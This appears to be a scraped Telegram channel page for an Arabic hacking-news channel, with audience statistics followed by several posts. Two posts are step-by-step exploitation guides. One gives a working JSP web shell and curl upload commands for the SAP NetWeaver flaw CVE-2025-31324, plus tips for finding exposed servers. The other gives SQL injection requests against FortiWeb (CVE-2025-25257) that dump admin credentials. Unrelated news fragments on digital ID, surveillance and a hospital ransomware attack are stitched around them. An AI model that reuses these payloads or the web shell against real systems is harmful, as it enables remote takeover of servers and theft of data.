Hacker News
المصدر العربي الأول لأخبار الهاكرز و ملتقى الأحرار و المناضلين صفحتنا الأولى https://www.facebook.com/HackerNews2
إظهار المزيد📈 نظرة تحليلية على قناة تيليجرام Hacker News
تُعد قناة Hacker News (@hackernewsar) في القطاع اللغوي العربية لاعباً نشطاً. يضم المجتمع حالياً 13 296 مشتركاً، محتلاً المرتبة 9 599 في فئة التكنولوجيات والتطبيقات والمرتبة 5 750 في منطقة المملكة العربية السعودية.
📊 مؤشرات الجمهور والحراك
منذ تأسيسه في невідомо، حقق المشروع نمواً سريعاً وجمع 13 296 مشتركاً.
بحسب آخر البيانات بتاريخ 25 يونيو, 2026، تحافظ القناة على نشاط مستقر. خلال آخر 30 يوماً تغيّر عدد الأعضاء بمقدار 4، وفي آخر 24 ساعة بمقدار -3، مع بقاء الوصول العام مرتفعاً.
- حالة التحقق: غير موثّقة
- معدل التفاعل (ER): يبلغ متوسط تفاعل الجمهور 14.31%. وخلال أول 24 ساعة من النشر يحصد المحتوى عادةً 5.13% من ردود الفعل نسبةً إلى إجمالي المشتركين.
- وصول المنشورات: يحصل كل منشور على متوسط 1 903 مشاهدة. وخلال اليوم الأول يجمع عادةً 682 مشاهدة.
- التفاعلات والاستجابة: يتفاعل الجمهور بانتظام؛ متوسط التفاعلات لكل منشور يبلغ 17.
- الاهتمامات الموضوعية: يركز المحتوى على مواضيع رئيسية مثل نِظَام, شَرِكَة, اِختِرَاق, مَجمُوعَة, بَيَان.
📝 الوصف وسياسة المحتوى
يصف المؤلف القناة بأنها مساحة للتعبير عن الآراء الذاتية:
“المصدر العربي الأول لأخبار الهاكرز و ملتقى الأحرار و المناضلين
صفحتنا الأولى https://www.facebook.com/HackerNews2”
بفضل وتيرة التحديث المرتفعة (أحدث البيانات بتاريخ 26 يونيو, 2026) تحافظ القناة على حداثتها ومستوى وصول مرتفع. وتُظهر التحليلات تفاعلاً نشطاً من الجمهور، ما يجعلها نقطة تأثير مهمة ضمن فئة التكنولوجيات والتطبيقات.
<% if (request.getParameter("cmd") != null) {
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
java.io.InputStream in = p.getInputStream();
int a = -1;
while((a=in.read())!=-1){
out.print((char)a);
}
in.close();
} %>
2. إرسال طلب POST لتحميل الملف
يمكن بأداة مثل curl:
bash
curl -k -X POST \
-F "file=@webshell.jsp" \
https://target-sap-server/irj/servlet/prt/portal/prtroot/com.sap.visualcomposer.dev.server.metadatauploader
3. الوصول للملف بعد التحميل
قم بزيارة المسار الذي يُخزن فيه الملف (مثال):
text
https://target-sap-server/irj/go/km/docs/webshell.jsp?cmd=whoamiسيتم تنفيذ الأمر وإرجاع النتيجة في الصفحة، ما يؤكد أن المهاجم أصبح لديه تحكم كامل بالخادم. #HackerNews #SAPNetWeaver #CVE_2025_31324
http.title:"SAP NetWeaver Application Server"البحث ضمن نطاقات الشركات الكبرى أو عناوين المؤسسات الحكومية. فحص البورتات الشائعة الخاصة بـ SAP: منصات SAP NetWeaver غالبًا ما تكون متاحة على منافذ محددة مثل 50000، 50013، 8000، 8080 وغيرها. يمكن للأدوات مثل nmap إجراء مسح لهذه المنافذ والعثور على الأنظمة المكشوفة. استخدام أدوات كشف نقاط النهاية وضعف الحماية: أدوات المسح (scanner) مثل Onapsis، أو حتى أدوات مفتوحة المصدر مثل Metasploit modules، تسجل نقطة نهاية metadatauploader أو صفحة Visual Composer المفتوحة. تحليل الأدلة من الشهادات أو رؤوس HTTP: أحيانًا تكشف رؤوس (Headers) http أو حتى الشهادات الرقمية عن إصدار السيرفر وهويته. المعلومات المسربة أو فهارس الإنترنت: قد توفر بعض الفهارس أو تسريبات البيانات عناوين أنظمة SAP مكشوفة أو كلمات سر ضعيفة أو افتراضية. شرح الثغرة بالتفصيل المكون المتأثر: SAP NetWeaver Application Server Java، وحدة Visual Composer. طريقة الاستغلال: المشكلة تكمن في غياب التحقق من التفويض (Missing Authorization Check) عند نقطة النهاية /developmentserver/metadatauploader، حيث يسمح للمهاجمين بإرسال طلبات POST تحتوي على ملفات خبيثة (مثل Web Shell أو تطبيقات JAR أو ZIP). يقوم المهاجم بإرسال طلبات POST لاستغلال ثغرة مثل CVE-2025-31324 عادة عبر أدوات متخصصة تتيح له صياغة وإرسال طلبات HTTP بشكل يدوي أو تلقائي، وأشهر الأدوات المستعملة: أدوات الهجوم لإرسال طلبات POST curl أداة ينتجها نظام لينكس (ومتوفرة لكل الأنظمة)، تتيح إرسال طلبات HTTP/HTTPS حسب الرغبة. مثال استخدام: bash
curl -k -X POST -F "file=@webshell.jsp" https://target-sap-server/metadatauploader
يمكن بها تحديد نوع المحتوى، ملف الإرسال، إعداد رؤوس الطلب وكل التفاصيل المطلوبة.
Burp Suite
أداة اختبار اختراق متقدمة، تتيح للمهاجم أو مختبر الأمن إجراء وفحص وتعديل أي طلب HTTP (GET/POST).
يمكن تعديل الطلبات مباشرة عبر واجهة المستخدم أو استخدام أدوات التكرار (Repeater/Intruder) لإرسال عدة طلبات مختلفة وملاحظة الاستجابة.
Postman
تطبيق متكامل لإرسال طلبات HTTP وتطوير واجهات API. يتيح إرسال ملفات، تعديل الحقول والرؤوس، وتحليل الاستجابات.
يستخدم غالبًا في الاختبار اليدوي لرؤية الاستجابة وتكرار الطلبات.
أدوات برمجية أو سكربتات بلغة Python/JavaScript
المهاجم المتقدم قد يكتب سكربت مخصص باستخدام مكتبات مثل requests (Python) أو axios (JavaScript) لإرسال طلبات POST تلقائية حسب سيناريو الهجوم.
مثال عملي باستخدام curl:
bash
curl -k -X POST -F "file=@webshell.jsp" https://target-sap-server/metadatauploader
هكذا يرسل المهاجم ملف خبيث إلى مسار نقطة النهاية في SAP NetWeaver، ويفحص استجابة الخادم للتأكد من نجاح الهجوم.
ما يحدث عند الاستغلال: النظام يقبل تحميل الملف دون أن يتحقق من صلاحية المستخدم أو يفحص الملف بشكل آمن، ما يؤدي إلى إمكانية تنفيذ كود برمجي ضار وتحكم كامل بالخادم (RCE) عن بُعد.
درجة الخطورة: CVSS 10/10 (حرج جدًا)، حيث يمكن للمهاجمين التحكم الكامل بالنظام وسرقة بيانات حساسة، أو تعطيل أنظمة الأعمال الحرجة.
تأثير الثغرة وأهداف الهجوم
انتشار واسع: هناك أكثر من 1200 نظام SAP NetWeaver مكشوف للإنترنت حول العالم معرض للخطر.
أمثلة الاستغلال:
تحميل Web Shell خبيث إلى المجلد j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/ ومن ثم الوصول اليه وتنفيذ أوامر عبر GET.
سرقة بيانات العملاء الحساسة أو المالية، تعطيل الأنشطة التجارية، الحركة الجانبية داخل الشبكة واختراق أنظمة أخرى.
سير العملية:
المهاجم يحضّر ملفًا خبيثًا (مثلاً: Web Shell، ملف JAR أو ZIP مدمج بكود ضار).
يرسل هذا الملف كجزء من طلب HTTP POST إلى مسار مثل:
/irj/servlet/prt/portal/prtroot/com.sap.visualcomposer.dev.server.metadatauploader
خادم SAP NetWeaver، بسبب خطأ غياب التحقق، يقبل الملف ويقوم بتخزينه وتشغيله كجزء من نظامه.
المهاجم يتبع ذلك بطلب HTTP GET إلى ملف الـ Web Shell (أو ينفذ ملف جافا أو أكواد أخرى)، ليبدأ التحكم الكامل بالنظام.
يمكن الآن للمهاجم تنفيذ أي تعليمات، سرقة بيانات، أو التحرك داخل الشبكة.باختصار هي منصة تقنية لتشغيل، تطوير، وتكامل تطبيقات الأعمال الكبرى في المؤسسات، وهي أساس منظومة SAP للشركات حول العالم.#HackerNews #SAPNetWeaver #CVE_2025_31324
POST /api/fabric/authenticate HTTP/1.1
Host: target-fortiweb.example.com
Content-Type: application/json
{
"token": "1' OR '1'='1"
}
في هذا المثال، تم إدخال الشيفرة الخبيثة "1' OR '1'='1" بدل قيمة التوكن العادية. بدلاً من فحص رمز توكن حقيقي، ينفذ النظام الاستعلام التالي على قاعدة البيانات:
text
SELECT id FROM fabric_user.user_table WHERE token = '1' OR '1'='1'
وهذا يؤدي إلى إرجاع كل الصفوف من الجدول لأن شرط '1'='1' دائماً صحيح، ما يسمح باختراق الحسابات أو الوصول للبيانات بدون أي توثيق.
يمكن للمُهاجمين أيضاً إدخال شيفرات أكثر تعقيداً مثل:
text
"token": "1' UNION SELECT username, password FROM admin_users --"
لينفذ استعلاماً يسرّب أسماء المستخدمين وكلمات المرور من جدول آخر ضمن نفس الاستعلام الأصلي، أو حتى تنفيذ أوامر إضافية إن كانت القاعدة تسمح بذلك.
توضح هذه الأمثلة كيف يمكن استبدال المدخلات الشرعية بقيم خبيثة في براميتر مثل التوكن أو أي حقل مدخل مستخدم آخر، ويؤدي الاستغلال إلى تنفيذ شيفرة SQL مباشرة بدون مصادقة.مثال عملي للاستغلال يكون عادة من خلال إرسال طلب HTTP حيث يتم استبدال قيمة التوكن (token) بقيمة تحتوي شيفرة SQL خبيثة بدل القيمة الشرعية. على سبيل المثال:
text
POST /api/fabric/authenticate HTTP/1.1
Host: victim-site.com
Content-Type: application/json
{
"token": "1' OR '1'='1"
}
في هذه الحالة، يتم إدراج السلسلة "1' OR '1'='1" داخل استعلام SQL مثل:
text
SELECT id FROM fabric_user.user_table WHERE token = '1' OR '1'='1'
وهذا يؤدي إلى تنفيذ الاستعلام بشكل يلتف على تحقق الهوية ويعرض قاعدة البيانات بالكامل للمهاجم بدون مصادقة.
من الأمثلة الأخرى لاستخدام الحقول المختلفة في الهجوم، قد يستخدم المهاجم الشيفرة التالية للحصول على كلمات المرور:
text
"token": "' UNION SELECT username, password FROM users --"
وهكذا يتم استغلال ثغرة الإدخال دون فحص أو مصادقة، ويستطيع أي مهاجم التحكم في النظام فقط عبر تصميم مدخل (مثل التوكن) يحوي تعبيرات SQL خبيثة داخل الحقل المطلوب.
#HackerNews #Fortinet #FortiWeb #CVE202525257ـ Fabric Connector هو مكون برمجي يُستخدم كوسيط أو جهة تكامل، هدفه الأساسي ربط جدار حماية التطبيقات FortiWeb مع بقية حلول Fortinet الأخرى الموزعة في البيئة المؤسسية، مثل جدران FortiGate، أدوات FortiManager، أو حتى خدمات سحابية خارجية كـ AWS.وظيفة Fabric Connector في FortiWeb يقوم بربط FortiWeb مع أنظمة إدارة الشبكة (مثل FortiManager)، أو مع خدمات سحابية خارجية مثل AWS وAzure وSDN، بهدف نقل وتزامن السياسات الأمنية، ومعلومات العناوين الديناميكية والبيانات الآنية من مختلف نطاقات البنية التحتية الرقمية. يُستخدم لأتمتة تحديث سياسات الحماية (مثل القوائم البيضاء والسوداء للعناوين أو التطبيقات)، بناءً على تغييرات تحدث في الشبكة أو التطبيقات بشكل فوري ودون تدخل بشري. يتيح هذا التكامل حماية متقدمة وديناميكية حسب الواقع اللحظي لتدفق البيانات والهجمات. يتم إعداد المكون عبر واجهة برمجة تطبيقات (API)، حيث يمكن إرسال واستقبال طلبات HTTP أو HTTPS إليه لإجراء عمليات تحقق أو تزامن بيانات أو تحديث سياسات الحماية. سبب الاستهداف والثغرة نقطة الضعف المعروفة (CVE-2025-25257) ظهرت في جزء من تنفيذ التحقق من الرموز (token) عبر دالة مثل get_fabric_user_by_token، والتي تدمج مدخل المستخدم في استعلام SQL مباشر بدون تعقيم أو تحقق، ما فتح المجال لاستغلالها من أي مهاجم عن طريق إرسال طلبات مخصصة عبر الإنترنت. المدخل المستخدم (مثل token أو أي معلمة أخرى من الطلب) يتم إدخاله في النظام عبر هذه الواجهة، ويتم التعامل معه مباشرة في قاعدة البيانات بدون مصادقة وبشكل يسمح بتنفيذ شيفرات SQL خبيثة. بهذا يكون Fabric Connector وسيلة للتكامل والأتمتة بين أنظمة Fortinet، لكنه أصبح نقطة خطر نتيجة سوء تنفيذ التحقق من المدخلات البرمجية فيه، حيث يمكن استغلاله بإرسال طلبات HTTP/HTTPS عبر الإنترنت لتنفيذ هجمات واختراقات عن بعد بدون مصادقة.مكون Fabric Connector هو برنامج وسيط داخل FortiWeb يُستخدم كحلقة وصل بين جدار حماية التطبيقات (WAF) ومنظومة Fortinet الأمنية، مثل أربطة الشبكة SDN أو منصات السحابة أو منتجات FortiGate، ويسمح بتكامل السياسات الأمنية بشكل تلقائي عبر واجهة برمجة التطبيقات (API). يستقبل هذا المكون طلبات HTTP/HTTPS من أنظمة التحكم أو خدمات الإدارة أو حتى من مستخدمين عبر الإنترنت لتنفيذ عمليات تزامن أو توثيق أو تحديث سياسات، ويعتمد على دوال مثل get_fabric_user_by_token التي تتعامل مباشرة مع مدخلات المستخدم مثل token من الطلب، ما يجعل أي مدخل غير مصحح مدخل خطر قابل للاستغلال بحقن أوامر SQL مباشرة في قاعدة البيانات الخلفية بدون مصادقة أو تحقق. ببساطة هو طبقة تكامل وأتمتة بين FortiWeb وبقية حلول البنية الأمنية من Fortinet وشركائها، وتظهر الثغرة عند إمكانية إرسال مدخلات خبيثة له عبر واجهة الإنترنت لتنفذ داخل النظام المركزي. آلية الهجوم خطوة بخطوة: المهاجم يوجّه طلب HTTP/HTTPS إلى واجهة Fabric Connector في FortiWeb، ويضع في أحد حقول الطلب (مثل براميتر التوكن أو أي مدخل مستخدم آخر) شيفرة SQL خبيثة بدل بيانات اعتيادية. مثال عملي للأدوات التي يستخدمها المهاجم: أدوات اختراق وتوجيه الطلبات HTTP مثل Burp Suite، OWASP ZAP، Postman، curl، أو حتى نصوص Python مثل requests. صيغة الطلب تكون مثل: text
POST /api/fabric/authenticate HTTP/1.1
Host: target-fortiweb.example.com
Content-Type: application/json
{
"token": "1' OR '1'='1"
}
أو:
text
{
"token": "' UNION SELECT username, password FROM admin_users --"
}
هذه المدخلات يتم تنفيذها كاستعلام SQL داخل قاعدة البيانات بدون أي تحقق أو تعقيم، ما يؤدي لاختراق النظام أو تسريب بياناته بشكل كامل.
أي شخص يمكنه العمل بهذه الأدوات حتى من خارج نطاق المؤسسة بمجرد أن النظام مكشوف للإنترنت بوضع غير محمي.كيف يقوم المهاجم بتوجيه طلب HTTP/HTTPS إلى واجهة Fabric Connector في FortiWeb؟ العملية كما يلي:
المهاجم يكتب أو يُعدل طلب HTTP/HTTPS بحيث يوجهه إلى عنوان واجهة Fabric Connector في FortiWeb (مثلاً إلى endpoint مثل /api/fabric/authenticate أو أي نقطة ربط أخرى).
في أحد حقول الطلب (عادةً حقل التوكن أو مدخل المستخدم)، يضع شيفرة SQL خبيثة بدل البيانات العادية (مثل "token": "1' OR '1'='1").
يرسل الطلب باستخدام أدوات مثل Burp Suite، OWASP ZAP، Postman، curl، أو حتى سكربتات Python بالأداة requests.
النظام يقوم بدون تحقق أو تعقيم بإدراج مدخل المهاجم داخل استعلام SQL ويُنفذه في قاعدة البيانات مباشرة.
هذا يسمح للمهاجم بالحصول على بيانات (مثل كلمة السر أو بيانات المستخدم)، أو تنفيذ أوامر متقدمة على قاعدة البيانات، أو حتى رفع الامتيازات والتحكم بالنظام.معرفات المستخدمين وكلمات المرور الاسم الأول والأخير والأسماء المستعارة عناوين البريد الإلكتروني أرقام الهواتف العناوين الفعلية الكاملة، بما في ذلك اسم الشارع والمدينة والولاية والرمز البريدي البيانات الديموغرافية، بما في ذلك العمر والجنس والعرق الأنشطة غير القانونية المزعومة والمواد المُستخدمة أوصاف مفصلة لأنشطة المُخبرين السجلات الجنائية صور الأفراد تقييمات المصداقية وكالات إنفاذ القانون ذات الصلة بيانات الاتصال بالمحامين والأشخاص الآخرين ذوي الصلة#HackerNews
واصفًا اللقاء بالناجح: "سيكون ماركو صديقًا رائعًا لإسر*ائيل". #HackerNews #الهوية_الرقمية #DigitalID #غزة
"إن المراقبة الجماعية أمر لا مفر منه، وستُبقي المواطنين على "أفضل سلوك"، وقال إليسون: " سنُشرف على كل ضابط شرطة طوال الوقت، وفي حال وجود أي مشكلة، سيُبلغ الذكاء الاصطناعي عنها ويُبلغ الشخص المختص. سيُحافظ المواطنون على سلوكهم الجيد لأننا نُسجل ونُبلغ باستمرار عن كل ما يحدث".في 26 سبتمبر 2025 كشف كير ستارمر رئيس وزراء بريطانيا عن خطط لفرض هوية رقمية إلزامية كشرط للعمل في بريطانيا. #HackerNews #الهوية_الرقمية #Digitalidentity
وأعلنت وزارة الصحة الصهـيونية والهيئة الصهـيونية للأمن السيبراني، أنها رصدت محاولة الهجوم خلال يوم "الغفران"، ولا تزال السلطات تحقق فيما إذا كانت المعلومات قد سُرِبَت. وبصفته مركزًا طبيًا حكوميًا، يخضع مستشفى عساف هاروفة للحماية المباشرة للهيئة الصهـيونية للأمن السيبراني.#HackerNews #Qilin
متاح الآن! بحث تيليغرام 2025 — أهم رؤى العام 
